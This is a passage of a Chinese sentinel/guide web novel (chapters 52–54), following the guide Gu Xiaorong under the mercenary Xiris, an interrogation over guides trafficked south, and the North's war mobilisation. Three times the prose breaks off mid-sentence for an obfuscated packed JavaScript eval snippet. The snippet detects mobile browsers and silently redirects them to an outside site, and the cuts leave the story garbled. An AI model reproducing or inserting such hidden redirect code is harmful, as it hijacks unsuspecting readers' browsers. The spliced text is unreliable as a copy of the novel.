顾小绒艰难地挨过了整场拍卖,结束时后背已被一层冷汗浸湿。10亿的价格已足够建造1艘护卫舰,现在的战况如此惨烈,底层民不聊生,这些军部高层竟然还这般穷奢极欲、纸醉金迷。 果然这种事,不管是南方还是北方都一样,顾小绒闭上眼。 52. 第五十二章 顾小绒屏息半晌,才缓缓呼出一口气来。 幽蓝的色泽让人仿佛置身海底,她的思绪从刚才突如其来的分神中收回。 深黑中唯一的光芒笼罩着核心的人物,晏泽与希里斯在众人的簇拥下,不知道在说些什么,但很快,顾小绒感觉到所有的目光齐刷刷朝着她望了过来,所有的喧嚣与低语都停止了。 晏泽的手在晦暗的光影里抬起一个不甚明显的弧度,那个一直跟随在他身边的哨兵便捧着什么走到了她的面前,昂贵的天鹅绒软垫上是一个精美的首饰盒,哨兵以几乎谦卑的姿态,将它双手奉于顾小绒面前。 “晏少,这是什么意思?”希里斯的神情变得有些微妙:“钱给了,把货还我?” 顾小绒伸手去打开了那个首饰盒,只见刚才拍卖场上那支夺目的钻石玫瑰,此时正静静躺在深蓝丝绒包裹的盒子里,盖子一经打开,银色的光芒便如月华般倾泻而出,灿烂夺目。顾小绒指尖一颤收了回去,她打量着希里斯的神情,不敢接过去。 “送给女孩子的,算做见面礼。”晏泽神色平静,甚至还带有一丝浅淡的笑意。 “下一步是不是要问我能否割爱了?”希里斯的语调瞬时转冷。 “我如果问,你肯吗?”晏泽轻笑出声。 “不肯,抱歉。”白狼微微扬起下颌,气氛一时陷入紧张。 “说条件吧。”晏泽倒也不恼,只淡淡开口道。 “不是条件的问题。”希里斯抬腿就走,没有给对方半分颜面:“我还在兴头上。”他的手轻轻一挥,无数的雇佣兵便从四下聚拢而来,随他一道离开了。 眼下局势明晰,顾小绒赶紧跟上了希里斯的步伐,只剩那位哨兵仍旧捧着钻石伫立在原地。 希里斯有和晏泽相持的资本,他替南方军干了这么多脏事,掌握了他们太多的信息和证据;其次,南方虽然拥有相当体量的哨兵,但超S级的哨兵也只有希里斯一个。晏泽是个向导,很多棘手问题仍旧需要仰仗希里斯去解决,尤其是他们还要面对那位共同的强敌——韩奕。 两位巨头的碰面在不甚愉快的氛围里结束,一路上跟随在希里斯身后的哨兵都十分识趣地与老大保持了距离。 宴会早已散场多时,夜色也已经很深,穿过幽深寂静的厅堂时,只有少数几位还在打扫的侍从。白狼身上散发的低气压让顾小绒也本能地想要回避,她有意放慢了步伐,想要与希里斯拉开距离。 对方却突如其来地顿住了脚步,转身朝着她疾步而来,在没来得及出口的惊呼声中,顾小绒被他一把单手拎起,扛在了肩上。 “松手……你干什么?”向导柔软的腹部直接压在了哨兵坚硬的肩胛骨上,剧烈的钝痛与挤压感猛烈侵袭,顾小绒已顾不得他的颜面,惊慌地挣扎起来。 那只手的力道不减反增,将她狠狠扣住,挣扎中顾小绒的鞋子跌落在地,透明的水晶鞋落在大理石地板上,发出清脆的碰撞声。希里斯微微俯下身,一手拎起了那双鞋,另一只手就这样抱着向导,面无表情地继续往前走。 这个阵仗让所有跟随的哨兵都自觉地停住了步伐,其余的侍从也都低下头回避。 顾小绒意识到,此时她如果再继续喊叫,只会引来更多的瞩目,于是她咬住嘴唇,把声音硬忍了回去。即使这中间,因为疼痛和缺氧,她的脑袋几乎已快供血不足。 等到希里斯终于穿过千余米的建筑群、走进房间关上门、并将她扔下去时,顾小绒的眼前几乎快黑了,身下没有预想中的疼痛,似乎是被摔在了很柔软的地方。 她的后颈随即被一股巨力按住,冰冷的针头穿刺过她的皮肤,熟悉的痛与麻痹感从脖颈后传来,是向导抑制剂。 她闭上眼歇息了一会儿,然后忽然笑了:“我知道那些流言蜚语是谁传的了。” 视线已重新恢复,面前的雇佣兵首领已摘下了披肩,接下来是领带、绶带、徽章与胸针,希里斯神色如常地脱着衣服,似乎对她说的话并不惊讶:“哦?” “你,造势抬高我的知名度,问南方军高层要好处。”顾小绒一针见血,白狼之前与今晚的所作所为,很明显是要摆给别人看的。如果没有他的授意,雇佣兵们哪里敢四处造他的谣。 也只有假装对她“爱不释手”、才能显得“难以割舍”,这是谈判中惯用的计俩。一番操作下来,一搜护卫舰的价钱已轻轻松松入账了,看对方这个模样,应该还有更大的胃口。不过她想了想,还是没把这句话说出来。 “不用紧张,你只需要付你自己那份。”希里斯淡淡笑了下,未做否认,不过对于她这样快的猜到,那双刚才还冷冽的、附带低气压的眼此时已微微眯起,他看着她,好像第一次觉得她有点意思。 “两头吃啊,怪不得这么有钱。”顾小绒没有什么力气,但嘴上还是毫不留情地讽刺道,她想试试能不能从对方口中激出点别的信息。 然而希里斯却收住了话头,不多时他已脱下了那身礼服,从屏风后走出时,换了一身黑色的常服。“咔哒”一声轻响,他将顾小绒的右手拷在了床头。 “你要不还是想想,怎样才能快些完成我们之间的合作?”白狼挑了挑眉。 “你一边和我做交易,一边把我卖第二次,这是契约精神?”顾小绒神色冷淡地质问着。 “既然知道,那你最好在另一边给出更高的价格前,快点完成合作内容。”希里斯不打算和她讲道理,在检查了手铐、确认拷紧之后,走到了窗边。随后,在顾小绒惊讶的目光里,他打开了窗子,从那里跳了下去。 佣兵头子不走大门,走窗子?顾小绒有些摸不着头脑,她支起身子朝着那个方向看去,窗帘已被大大打开,夜景一览无余地展现在她的眼前。 一辆黑色的机车正停靠在楼下,见希里斯落地,那个同样穿着黑衣的人摘下了自己的头盔,她有一头火红的长发,波浪卷一直延伸到曼妙纤细的腰侧,她小跑两步上前去,在顾小绒惊讶的目光中抱住了希里斯,随后……吻了他。 这突如其来的一幕让顾小绒原地惊呆,只见希里斯将那红发女子一手抱起,另一只手则轻柔地抚摸着她的头发。 原来希里斯拍下的那枚红宝石胸针是给她的,顾小绒默默躺回了床上,只感到一股强烈的反差与荒诞。 希里斯暂时走了,晏泽看上去也上了钩,只是钩得牢不牢还未可知,她思忖了片刻,还是暂时没有给尾鸦发送消息。 等到门被打开,嘈杂的声响与明媚的阳光一道涌入感官,顾小绒才微微抬了下眼睛。因为一只手被拷着,这一晚她睡得并不踏实。熟悉的蔷薇味很快靠近过来,她感觉到薇拉有些紧张地翻着她的身体。 “小绒,小绒。”她一边轻声地叫着她的名字,一边四下检查,在确定了向导除了脖子后的针眼,没有别的外伤之后,才松了一口气。 “没事吧?”是另外一位女哨兵的声音,她已远远关上了门,喧嚣被隔离在厚重的木门之外。顾小绒记得那位女哨兵,她的名字叫露娜,也是希里斯亲卫队的一员。 顾小绒只得睁开眼,白光霎时充满了她的视线,薇拉担心的面容直凑在她跟前。“没事。”她伸手拉住薇拉的手,随后看了眼那个手铐:“可以帮我解开下吗?” “哦哦哦。”薇拉这才立即反应过来,将那手铐打开了。顾小绒揉了揉有些酸痛的手腕坐了起来,她被铐了一整晚,手腕上留下了一道刺眼的红痕。 “我听说昨晚老大生气了,吓死我了,还以为你被怎么了。”薇拉说完后皱起了眉头,有些嗔怪:“詹姆斯他们几个混蛋在那添油加醋,我还以为老大要把你宰了,可把我吓坏了。”她一边说着一边抚着胸口。 呵呵,顾小绒擦了擦冷汗,那人演戏的功夫倒确实是一流,她想了想,最终还是谨慎地没有把自己看见的那一幕说出来:“没事,你们老大有事忙,把我扔这儿就走了。” “哦。”薇拉终于重重地松了口气。 双城之战的陨灭,标志着南方军腹地的彻底失守,原本设立在战略大后方的致幻剂生产基地也被摧毁殆尽。而塔尔蓝那边,虽然已发动了几乎最为猛烈的一次反扑,但仍旧受到了北方军的强力压制。 现在,南方握有黑暗向导,北方拥有军力上的优势,双方进入了最为痛苦的相持阶段。 因此晏泽与希里斯即使有一些冲突和不快,这会儿也不得不暂时放下,继续联手。 “你这是完全不打算管中部了吗。”白狼的声线无波无澜,神情冷淡:“先是维塞克城,然后是阿尔塞拉和瓦尔塔那,再往南打可就到泽卡了。” 被如此重压所负之人此时却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055891|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡然地站在阳台的一侧,甚至气定神闲地拈起了旁边的一朵白色玫瑰。 “别那么紧张。”晏泽将花摘到手里,尖刺将他的掌心刺出一道浅浅的红痕,他没有回答希里斯的话,反而问道:“她的表现怎么样?是不是很棒。” 提到“水母”,他深蓝的眼沉了下去,语气一片温存。 “稳定是最重要的。”希里斯也一样没有正面回答,他们心照不宣地没有提起销声匿迹的“蝴蝶”。 “嗯。”晏泽不置可否,他凝视着手里的那朵玫瑰,被精修保养的花朵含苞待放,可是在摘除后便会迅速凋零:“我需要你的力量,希里斯,你也不希望北方军打到泽卡来吧?” “真打过来也无所谓。”希里斯一脸淡漠:“反正我只是个雇佣兵,钱也挣够了。” 晏泽低声轻笑,眼底泛出一丝猩红:“真的假的?你觉得自己能够脱身?韩奕会放过你?” “你自己不都在笑吗。”希里斯语调冰冷,甚至没有看对方一眼:“仗打了十一年了,你是第一天认识韩奕吗?不然我还站在这儿听你说话是为了什么?” “那不就得了,我们还是只能合作。”晏泽轻轻摊开右手,雪白的手套将他的指尖包裹出一个柔韧的弧度:“不过不用紧张,我已经做好了安排。” “如果我是韩奕,而我知道你只有一位‘黑暗向导’,那么我会选择两线作战,不断消耗她的体力。”希里斯不带感情地分析道。 “那再来几个怎么样?”晏泽气定神闲地将那朵玫瑰整理好了,别在了自己的胸针上。 对方话语中敏感的信息让白狼收回了视线,晏泽看上去从容沉缓,但眼眸中却无可抑制地闪现出一丝弑杀的凶光:“韩奕踩在我脸上那么多年,是时候请他抬一下尊贵的脚了,是不是?” “你这是准备好了?”希里斯的气息冷了半分,言语中带有罕见的试探。 “算是吧。”晏泽淡淡答道:“‘黑暗向导’算不上,最多算是‘集成向导’,但足以同时覆盖一整个战区,你手下所有还留有精神对接口的哨兵都可以派上用场,怎么样,算不算惊喜?” “南方所有优质的向导都给了你,次品送到我卖场处理,搞了这么些年、丢了那么多城才弄出来,是挺棒的。”白狼的语调带了一丝明显的嘲讽。 “不过还有一个问题。”晏泽没有丝毫恼怒,反而问道:“致幻剂现在的产能可以供应上吗?” “现在只能运作的只有两台,第三台还在修复。”希里斯摊开手,示意这并不是他的锅。 “好吧,尽快。”晏泽眯起眼:“我那里还有两台小型的,以及一些库存,应该能支撑一段时间,不过战场和研究只够投入其中一方了。” “知道了。”希里斯应道。 “那位小姐还好吗?”晏泽忽然毫无预兆地发问。 “我说,你都有这么多向导了。”希里斯的声线有了些波动:“这都还喂不饱你的胃口?还伸手要我的人?” “怎么,你是真对她动了感情?”晏泽的嘴角噙着一抹若有似无的笑,灼灼的目光看似收敛了点:“就这样舍不得?” “呵。”白狼发出一声嗤笑:“你知道她能做到让一个S级哨兵分化成黑暗哨兵吗?” S级哨兵的分化凶险异常,因而黑暗哨兵的存在在整个历史中也十分稀少,如果没有一个强大合格的向导,分化中的哨兵就只能在痛苦与失控中死去。而在这一整个纪元里,只有她一个向导做到了这件事。 她的价值高昂至此,一艘护卫舰的价格也不过只是皮毛。 “我和她还有合约,拿下阿维隆和维塞克城后,我会遵照约定放她自由。”希里斯不为所动,态度冷硬:“我不会违背我的承诺,不是不放人给你。” “如果我也可以达到你们的合约要求,甚至更多呢?”晏泽面色诚恳,看上去甚至有些彬彬有礼:“真的不考虑下吗?” “等你真的做到再说吧。”希里斯用无法拒绝的态度回道:“她也是。” “行。”对方仍旧不肯轻易放手,晏泽深色的眼化开一抹浅淡的笑意,他屈起指尖,将刚才从玫瑰上碾下的叶子朝着风中丢去。刚才的话没有继续下去,只化作一丝浅浅的叹息: “终于熬到了可以反击的一天,真不容易。” 53. 第五十三章 北方,德蒙特监狱临时拘留所。 直到韩奕与曼琳走进房间,沈骁的目光也没有从窗外收回。 他已经在临时监狱中关押了一段时间,这是第一次被放出来。雪光如银,从莹白的窗框外满溢而出,一只云杉的枝叶横斜在窗旁,上面积了一层晶莹的雪。在两位哨兵进来之前,那里甚至还停留了两只白色的知更鸟,它们的嘴里叼着一些柔软的杂草,想来应该是要筑巢,只路过这棵树时片刻地休息了一下。 门被“咔哒”一声打开,鸟也被惊飞而去。 韩奕将面前的椅子一推,坐在了沈骁面前,将一摞厚厚的资料拍到了桌上。曼琳站立在两位长官身边,如果说眼前这一位还能称之为“长官”的话。 “你自己看吧。”少将开口,他的声音有些暗哑。 沈骁只得往前,他的左手被单拷在了椅子上,也注射了向导抑制剂,面对眼前的两位哨兵毫无还手之力,只能乖乖听命。 “你确实很小心,甚至删掉了很多地方的监控、包括行车记录仪。”韩奕目光微垂:“但因为数量过多,还是露出了破绽。” 少将没有再开口,这一次说话的变成了曼琳:“从5年前至今,您一共运送了32位卡罗疗养院的向导去往南方,同时从南方将她们的‘克隆体’运回,以做掩饰。” “克隆体与本体的DNA被比对过了,被您删除的车载记录也已被复原,权限是您开的,证据都在这里。再加上近年来失踪的向导……您一共输送了36位向导去南方。”曼琳深吸一口气,做完了总结。 沈骁的嘴角微微扬起,他用欣赏的目光望着曼琳,露出一个温和的笑意:“查到这一步挺不容易的。”也许是没有想到他会承认地如此之快,室内忽然陷入一片寂静。 “上校。”曼琳神情复杂:“您知道我们掌握的证据,足够将您正式起诉、送上军事法庭吗?” “我知道。”沈骁的神色意外的坦然,他云淡风轻地回道:“做你们该做的事吧,剩下的交给法庭……” “沈骁。”韩奕终于发话了,虽然他的面容看上去仍旧冷峻平静,与平日一般无二,但从曼琳对老师的了解来看,他此刻几乎已在爆发的边缘,她立即收回自己的目光并噤了声。 韩奕的手朝着那叠资料上的一张照片指去,女孩深邃的紫色长发如同漫卷的薰衣草,她看上去温柔沉静、笑意盈盈,赫然是15620号上尉艾丽西娅。 “送给南方一个黑暗向导,这就是你干的好事。”韩奕缓缓开口,目光如若冰刃。 沈骁的眼神只轻轻落在那张照片上,随即就如同触电般收回,痛苦在他的面容上如有实质地凝聚。 “我真不知道他们能搞出这东西……对不起。”他垂下头去,不敢再看那张照片。 听闻此言,曼琳几乎万箭穿心。曾经对大家百般照拂的长官,如今亲口承认了自己的背叛与罪行,他曾经是整整一代向导里最优秀强大的那一个。 “把该交代的交代了,别逼我上手段。”韩奕的黑眸中一片森冷,他的信息素几乎冻结到了极点,连室内的温度都下降了几分。 “‘水母’也是你安排的吗?”少将继续厉声询问。 “水……什么?”沈骁抬起头来,面露惊讶,连低微的声量都微微拔高了一些:“我经手的向导……没有人精神体是水母。” 韩奕不动声色,冷眼瞧着对方的反应,布雷塔妮已经核实过“水母”确实不是来自北方,他也只是想以此试探一下沈骁的反应罢了。 “不是……我真不知道。”沈骁看上去确实有些着急:“我只经手过这30几个向导,别的都不知道了,我只做过这个。”他再次强调道。 “你和顾小绒是被统一训练过的吗?回答方式都一模一样。”韩奕冷冷问道,提到顾小绒的名字,沈骁的神情终于有了一丝波动,被拷住的左手在身下紧握成拳。 “你把她怎么了?”他疾声问道。 韩奕不再答话,而是靠坐在了椅背上,好整以暇地望着沈骁。信息差是审讯至关重要的部分,利用对方的不知情,诓骗他说同伙已经全招是常规手段,只不过这样的手段糊弄不了沈骁,他在短暂的慌乱后又迅速恢复了镇静。 “曼琳。”沈骁的眼神朝上,他捕捉到了一个关键信息:“刚才你说我一共向南方输送了36个向导,实际上我确实从疗养院里输送了32位,战场上失踪3位,剩余的这1位从何而来?” “……”曼琳一惊,没有想到自己的话语出了纰漏,被对方会这样快地捕捉到,只能求助地望向韩奕。 “顾小绒逃去南方了,是不是?”沈骁迅速反应了过来,他虽然是在问话,但语气已经肯定。 “别装作你不知道的样子。”韩奕微微蹙起了眉,这使得他的神色变得凌厉而带有攻击性,某种程度上说,这也算是一种回答:“顾小绒的叛逃是你安排的?” “我若说不是,你信吗?”沈骁的话语中透露出一丝疲惫。 “你知不知道我给多少人打过药了?他们都在替你受罪。”少将声线冰冷,他的身体缓缓前倾、语调缓慢,极强的压迫感扑面而来。 沈骁知道,他能把软化剂打进顾小绒的身体,就能打进自己的。于是他没有再做对抗,像是被抽干所有力气一般颓然坍塌:“你现在都已经全知道了,还来问我干什么?我知道的没有比你更多……我们所有人的联系都是单线的,也只知道代号。” “凭你一人之力,无法做到将向导悄无声息地运到南方,再把克隆体送回来。”韩奕一针见血地说道,不留半分余地:“和你对接的人是谁?” “……”沈骁陷入了沉默,他合上了眼,如同一只跌入陷阱、被扼住命门的兽类。最终,他赶在韩奕耐心消失之前回答道:“是「尾鸦」。” 室内骤然一片寂静,曼琳瞳孔巨震,因为根据顾小绒之前的供述,所有线索都倾向于沈骁就是「尾鸦」,这也是他们此次审讯的目的。但只是片刻间她便意识到了自己的失态,连忙垂下了目光。 “说到这个,韩奕,我有事问你。”沈骁的面容上浮现出与年龄不相符的苍然,他望着韩奕,不是做为嫌犯望着主审人,也不是做为下属望着长官,他的目光平和而沉厚,仿佛韩奕仍旧是同他并肩十年生死与共的战友:“这也只是我的一个猜测,你是「尾鸦」吗?” 曼琳瞪大双眼,碧色双眸如同滚圆的绿宝石一般闪过惊异的光。 “你们指控我输送35位向导去南方,我认。可顾小绒的‘叛逃’确实与我无关,‘水母’也与我无关。”沈骁的眼神沉了下来,他继续交代道:“我也是在你的动作之后,才知道她就是「银雀」,在此之前我虽然知道有这样一个人,但不知道是她。” “这所有的环节,受审、押送,如果没有你的授意,她怎么可能跑得掉。”沈骁一口气说完了他所有的推论,他的声线已沾染了一些颤抖:“所以……韩奕,你是「尾鸦」吗?” 曼琳不可置信地望向韩奕,她感到自己的身体在急剧失温。 她确实不相信顾小绒是叛徒,甚至猜测过她是我方奉命潜入南方的间谍,所以才费尽心力地申请权限、走流程,准备查询完伦戈茨数据中心的所有资料,那里有我方所有潜伏在南方的间谍备案,一旦这些绝密档案被打开,一切都将真相大白。 “「尾鸦」在南方替你善后,我要怎么做到?”韩奕行若无事,眼神锐利,他索性也对沈骁摊牌:“来将顾小绒劫走的人是希里斯,器官与躯体的克隆贩卖也属于他的产业。” 沈骁的面容波澜不惊,他只是缓缓摇头:“「尾鸦」在北方有权限,级别不低,不可能是他。” “你在南方的间谍网络布局已久,树大根深,你以为我不知道吗?”沈骁神色淡然,语气却是逐渐笃定:“韩奕。”他顿了顿,进而继续问道:“顾小绒的‘叛变’,是你指示她一起演的戏吗?” “!!”曼琳只觉脑袋一空,只剩一片白茫的嗡鸣。 “那你呢?沈骁。”韩奕不答反问:“你究竟真的是一个无聊的叛徒,还是说这35位向导也是你安排过去的间谍?” 不是,你们都不打算否认一下吗?!曼琳瞠目结舌。 双方彼此对视,空气被拉扯到极致,仿佛有无数牵连不断的丝线错综缠绕,将两人深深绑定在一处,他们彼此对峙、互相掣肘,却又彼此关联、缠绕共生。这些疑点穿插交汇、越绞越紧,曼琳的心头涌上一丝窒息感,她好像是坠落在迷局般的蛛网上,无法动弹、也辩不明方向。 话说到这个程度,二人几乎都已濒临自己的底线,沈骁看上去如释重负:“比起我现在回答了什么,自己去得来的答案更可信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年轻人急得眼角发红,在看清面前的韩奕和远处的曼琳后,几乎是连滚带爬地直起了身子,出于对流程与职级的考虑,他还是准备先向少校汇报信息,而这个时候,曼琳也才注意到自己的通讯器几乎快要被信息挤炸了。 “长官,请您快些回公会。”士兵气喘吁吁,额间渗着一丝冷汗:“敌方第三个黑暗向导出现,同2号向导一起从中部和东部两线同时发起了进攻,塔尔蓝与罗赛恩已陷落,我方牺牲哨兵人数8人,向导2人……进攻仍在持续……” 曼琳浑身一阵冰凉,敌方向导的序号是从出场顺序开始算起的,“1号向导”是蝴蝶,“2号向导”是水母,现在看来3号也出现了。 按照流程,此时应该由她上报给少将,只是此时他们在走廊上间隔不过几米,这道流程已经可以免了。她看见老师转过身来,迅速地、几乎是不带一丝犹疑地颁布了以下命令: “第一,地方公会所有A级哨兵全部派往中央公会; 第二,候选哨兵的级别调整为B级,年龄降到17岁; 第三,立即联系皇家公会补充人手; 第四,将已退役的、没有身体残缺的哨兵与向导重新召回; 第五,言韶和楚飞立即前往阿维隆、我去维塞克,长期驻守; 第六,我去往维塞克驻守之后,军部其余事务处理权限交由维多利亚上校负责。 以上命令从现在起即刻生效。” 他说得如此清晰详尽、有条不紊,仿佛是早已深思熟虑过,曼琳只觉指尖发麻,脑海中如同滚过阵阵雷鸣。年轻士兵和诺兰显然也同她一样,在巨大的冲击下短暂地进入了空白。 “老师,那我……”曼琳刚一开口,就控制不住下颌的颤抖。 “你留在中央公会,这里的所有权限与调度由你负责。”韩奕随即补充道。 “……是。”数年的依赖几乎已形成了本能,此刻她仍就只能条件反射地询问老师,那双坚硬冰冷的黑眸仍旧可以带给她支撑与能量。 自从分化成黑暗哨兵之后,韩奕还从来没有亲临过一线,除了帝国少将这一层身份之外,他同时也是帝国最高级别的战争兵器,而现在已到了需要启用这一层身份的时候。 曼琳在短暂的白茫后恢复了镇定,她确实不能走,老师刚才颁布的好几条命令都需要她去统筹和处理,她随即点了点头。在韩奕刚才口述完命令之后,带有权限的明文便已下发到军部各处与各位军官手里,战争进入红色紧急状态。 不多时,通讯器便被更多的消息汹涌淹没,楚飞是第一个打视频过来的人,曼琳已挨过了第一波冲击,她接起视频,指尖因覆满冷汗而有些打滑。 “嗯,对,就是你看到的那样。”曼琳控制住自己的声线:“上次让你招待艾维,没得罪他吧?去向皇家公会要人,这个任务就交给你了。” 54. 第五十四章 在少将发布命令的两个小时之后,所有军职人员已各自就位,军队的调度与地方公会的选拔也即刻展开。 维多利亚上校是亲自驾驶战机前往中央公会的,少将要交给她的临时权限十分重要,而整个帝国驾驶战机的速度没有人可以超过她本人。此前维多利亚已在维塞克驻守了两个月,扩建中部的空军基地,如今她授命返回军部,换做韩奕前往维塞克。 海军那边,瑜泽上校仍旧驻守在北方的塞莱斯蒂军港,段凌少校一直驻守在阿维隆军港,他们二人也奉命各自停留在原地,段凌负责与即将前去的哨兵与向导对接,塔尔蓝已经沦陷,接下来他们要做的是死守卡利斯特。 与此同时,更多的陆军也被抽调上来压往前线。装甲车整齐列队而过,将身下的土地震颤着碾碎,战机编队密集地飞驰过天穹,带来一道道密集紧促的呼啸声。帝国庞大的战争系统展露出了它的所有力量,几乎是要殊死一搏。 楚飞的任务完成得出人意料的顺利,他非但要到了皇家公会的所有人,其中更是来了一位重量级。 “这什么眼神?干嘛这样盯着我。”仍旧是熟悉而不耐烦的语调,莱安上将一边调整着头盔,一边用那双紫色的眼眸冷冷扫视着周遭,哨兵们赶紧低下头避开他的视线。 “长官,您……真的确定要去阿维隆吗?”最终还是布雷塔妮说出了众人的心声。 “我再不出手你们就要凉了。”莱安将护目镜拎在手上,皇家公会的特种作战服与他们并无区别,只是肩头和胸前的徽章略微有所区分。上将已踩上了战机的边缘,又略顿了顿:“我们都去了阿维隆,维塞克那边就托付给你了。” “是。”布雷塔妮领命,抬手行了军礼。 莱安没有回头,径直走上了战机。 公会此次派遣去阿维隆方向的哨兵与向导足有30人,分别驻守阿维隆、卡利斯特与其余周边地区,核心人员包括了两位S级哨兵、以及莱安上将本人,他的哨兵艾维曾经也是与楚飞难分胜负的强大哨兵,这几乎已是北方战力的巅峰配置。 而维塞克城方向,除了韩奕少将亲临之外,一同跟随的还有中央公会向导总负责人布雷塔妮,除此之外还有两位处于核心区域的哨兵:正羽与莉莉,他们都是韩奕亲自选中的人,负责维塞克外围诸多卫星城的防御。这个方向派遣的哨兵与向导多达40人,分别分布在5-6个临近的边缘城区中。 前线终于迎来了黑暗哨兵,这是本纪元以来的第一次,被南方突袭而有些颓靡的士气又再次振奋了起来。 南方显然也在做着最大限度的应对,这一次顾小绒被划分去了中部方向,与她匹配的哨兵也换做了S级,正是之前在泽卡失控的那一位。 两位黑暗向导的力量足以同时驾驭一整个战区的A级哨兵,但S级仍旧因为力量过于突出、难以控制。同北方一样,南方的S级哨兵也少到屈指可数,除了希里斯之外,目前就只有这位刚刚分化的年轻小伙子。 顾小绒被带到那可怜的哨兵眼前,年轻人被铁链牢牢锁着、跪趴在地,浓烈的信息素几乎要将房间内残存的氧气吞噬殆尽。在如此危险的高阶分化阶段,他竟然活了下来,也不知道希里斯在期间对他做了什么,有没有给他找寻过向导。 薇拉有些委屈地跟在白狼身后:“不是说向导是给我的嘛……”在得到对方一记冰冷的眼刀后,她只能立即闭嘴收声。 薇拉和希里斯一道被分往东部阿维隆方向,整顿好之后明天就将出发,希里斯看上去不打算给顾小绒一丝多余的时间,他粗暴地将顾小绒往那哨兵面前一推,语调冷淡。 “匹配S级哨兵,你以前做过。”许是因为战时的紧迫,那双冷绿的眼泛着刀刃般凌厉的光,让人不可直视。 顾小绒别无他法,只能先撑开精神屏障,她单膝跪在哨兵身前,能感觉到在精神屏障打开的那一瞬间,对方原本还微微颤动的身子立即大幅地平缓了下来。年轻哨兵几乎是无意识地微微张开嘴,如同快要干涸的鱼类重新回归大海。 南方的绝大多数哨兵终其一生都未曾拥有过向导,也从来没有被真正的精神力抚-慰过,也许因为是第一次,在短暂的白茫后,哨兵的身子又开始微微发抖。 一声冷冷的低笑从头顶传来:“不愧是有经验的,他都这么舒服了。”低沉的声音半带嘲讽,那双不含温度的眼眸似乎浮现出些许愉悦。 “变态……”顾小绒在心中暗暗骂道,随后集中注意力,开始与哨兵进行精神连接。 “你叫什么名字?”她的精神丝线轻轻地触碰到对方,小心地试探着。 “芬尼克……”一道出乎意料的温柔声线答道,与哨兵魁梧的体格毫不相称。 顾小绒随即起身,开始解开绑缚在哨兵身上的口枷、嘴套以及各类束缚,她能感觉到周遭的空气变得骤然紧绷,戍守的士兵们都紧张地握紧了枪支。而她只是机械地、麻木地做着这一切,直到最终解开了哨兵身上所有的束缚。 因为被长期捆缚,芬尼克四肢发麻,趴在地上无法起身。顾小绒替他转移了一些痛苦,随后扶着他坐在地上,替他拉伸抽筋的腿部。年轻的小伙子长着一双水汪汪的眼睛,因为年龄太小,他的面容看上去有些稚嫩,他似乎从来没有得到过如此细致的照拂,一时愣在原地不知所措。 才18岁,甚至还不到入选进中央公会的年纪,顾小绒按着他的腿,眼底一片冰凉。 她快速地浏览着哨兵的资料,芬尼克15岁就跟着家里的堂兄出来做雇佣兵,16岁被希里斯的一位部下相中,期间也只做过运送催化剂和一些别的杂事,根本没有经历过完整系统的训练。 在南方,系统训练是最没有价值的一个环节,反正到了一定的年纪、又或者前线需要,他们就会被集中起来灌药,做成狂化或者半狂化的哨兵,从此被囚禁在无尽痛苦而不得解脱的身体里,如同行尸走肉。 最开始,狂化哨兵是由一些身负巨债无法偿还的赌徒制作的,随后是被黑-帮“家法”处决的叛徒,再之后是罪犯、小偷……黑暗逐渐扩大,最终笼罩了这里的每一寸角落。 希里斯会给狂化哨兵的家属巨额的补贴,无论是金钱、资源还是药剂,于是越来越多的年轻人自愿被灌下催化剂。反正没有向导,也买不起向导素,狂化是必然的结局,还不如献祭自己,给家人搏一条生路。 白狼以此巩固着他的帝国,将权力浇筑在堆积如山的血肉之上。 顾小绒审视着眼前年轻的哨兵,他的眸子湿润、明净,害怕中带有些许的懵懂,这样的一个孩子,即使是分化成了S级,面对北方同等量级的对手也几乎没有胜算。 同其余所有等级的哨兵一样,S级彼此之间也有强弱之分,北方的那几位都是何等可怖的战争兵器,顾小绒已不忍再想下去。 “明天出发,前往罗赛恩。”希里斯命令完后抬腿就走,没有给他们丝毫的喘息时间。 顾小绒只能跪坐在地上,看着那道白色的身影远去,薇拉担忧地回头望着她,二人彼此目光相触,却已没有时间告别。 离别到来得如此仓猝,顾小绒颓然地与她的新哨兵并坐在一起,她已经把北方的构架给薇拉讲了无数次,哪位哨兵叫什么名字、擅长什么,都要她全部记下来,现在她把同样的话一模一样地讲给芬尼克。 “不管什么时候,如果遇到这三位,立刻转身逃跑,别管任务。”顾小绒点开手里的电子屏,上面出现了三张熟悉的面容:韩奕、楚飞与言韶,他们的名字下方闪烁着巨大的“S”字样,而韩奕的“S”后甚至跟了个“+”。 也许还没有人想出来应该怎么用字母去概括完全体哨兵这样的存在吧,顾小绒闭上眼。 “哦……好。”芬尼克似乎无法完全理解她眼底暗沉的绝望,可他能感觉到她的情绪,于是乖顺地应着。 “他们的信息素是这几样。”片刻后,顾小绒重新睁开了眼,她驱动着自己,如同强行拉动发条的锈蚀机械。 她点开详细资料列表,将电子屏递到哨兵手中:“等会儿我去要点信息素模拟试剂给你,要记清楚了,然后……”她顿了顿,只觉巨大的无力感如同潮水一般将她淹没。 “总之……记得优先保全自己的性命。”她轻轻拍了拍哨兵已经恢复的腿,站起了身来。 罗赛恩位于泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055893|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 